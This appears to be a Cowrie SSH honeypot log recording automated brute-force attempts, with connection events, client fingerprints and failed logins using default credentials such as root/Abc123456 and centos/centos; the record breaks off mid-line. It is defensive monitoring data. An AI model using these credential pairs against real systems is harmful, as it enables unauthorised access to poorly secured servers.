{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:41.833133Z","src_ip":"79.116.23.158","session":"4c649394065b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456789","message":"login attempt [minecraft/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:42.302431Z","src_ip":"79.116.23.158","session":"4c649394065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:43.415014Z","src_ip":"79.116.23.158","session":"4c649394065b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55012,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e5c7786e63","protocol":"ssh","message":"New connection: 176.65.139.95:55012 (159.203.135.109:22) [session: 37e5c7786e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:43.759914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:43.764967Z","src_ip":"176.65.139.95","session":"37e5c7786e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:43.851540Z","src_ip":"176.65.139.95","session":"37e5c7786e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:44.292263Z","src_ip":"176.65.139.95","session":"37e5c7786e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:45.376408Z","src_ip":"176.65.139.95","session":"37e5c7786e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33744,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d92204d668","protocol":"ssh","message":"New connection: 176.65.139.95:33744 (159.203.135.109:22) [session: b9d92204d668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:50.324038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:50.328902Z","src_ip":"176.65.139.95","session":"b9d92204d668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:50.410705Z","src_ip":"176.65.139.95","session":"b9d92204d668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:50.682651Z","src_ip":"176.65.139.95","session":"b9d92204d668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:51.778019Z","src_ip":"176.65.139.95","session":"b9d92204d668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33754,"dst_ip":"159.203.135.109","dst_port":22,"session":"b51d622044c7","protocol":"ssh","message":"New connection: 176.65.139.95:33754 (159.203.135.109:22) [session: b51d622044c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:56.727385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:56.732110Z","src_ip":"176.65.139.95","session":"b51d622044c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:56.816059Z","src_ip":"176.65.139.95","session":"b51d622044c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:57.318735Z","src_ip":"176.65.139.95","session":"b51d622044c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:58.413311Z","src_ip":"176.65.139.95","session":"b51d622044c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6951337ef4","protocol":"ssh","message":"New connection: 176.65.139.95:36800 (159.203.135.109:22) [session: ec6951337ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.429332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.433937Z","src_ip":"176.65.139.95","session":"ec6951337ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.527217Z","src_ip":"176.65.139.95","session":"ec6951337ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.813256Z","src_ip":"176.65.139.95","session":"ec6951337ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13b077909da","protocol":"ssh","message":"New connection: 159.203.92.129:47624 (159.203.135.109:22) [session: f13b077909da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.888738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.892956Z","src_ip":"159.203.92.129","session":"f13b077909da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.897632Z","src_ip":"159.203.92.129","session":"f13b077909da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DisabilityWhiteList","password":"DisabilityWhiteList123","message":"login attempt [DisabilityWhiteList/DisabilityWhiteList123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:03.908464Z","src_ip":"159.203.92.129","session":"f13b077909da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:04.915237Z","src_ip":"159.203.92.129","session":"f13b077909da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:04.925928Z","src_ip":"176.65.139.95","session":"ec6951337ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45138,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6d4265b8ad","protocol":"ssh","message":"New connection: 176.65.139.95:45138 (159.203.135.109:22) [session: 4d6d4265b8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:10.163763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:10.168488Z","src_ip":"176.65.139.95","session":"4d6d4265b8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:10.255589Z","src_ip":"176.65.139.95","session":"4d6d4265b8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:10.510595Z","src_ip":"176.65.139.95","session":"4d6d4265b8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:11.610123Z","src_ip":"176.65.139.95","session":"4d6d4265b8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45146,"dst_ip":"159.203.135.109","dst_port":22,"session":"9feadb263aa1","protocol":"ssh","message":"New connection: 176.65.139.95:45146 (159.203.135.109:22) [session: 9feadb263aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:16.526695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:16.531796Z","src_ip":"176.65.139.95","session":"9feadb263aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:16.615298Z","src_ip":"176.65.139.95","session":"9feadb263aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:16.912655Z","src_ip":"176.65.139.95","session":"9feadb263aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:17.998466Z","src_ip":"176.65.139.95","session":"9feadb263aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42318,"dst_ip":"159.203.135.109","dst_port":22,"session":"981dbd28bfe3","protocol":"ssh","message":"New connection: 176.65.139.95:42318 (159.203.135.109:22) [session: 981dbd28bfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:23.045086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:23.050021Z","src_ip":"176.65.139.95","session":"981dbd28bfe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","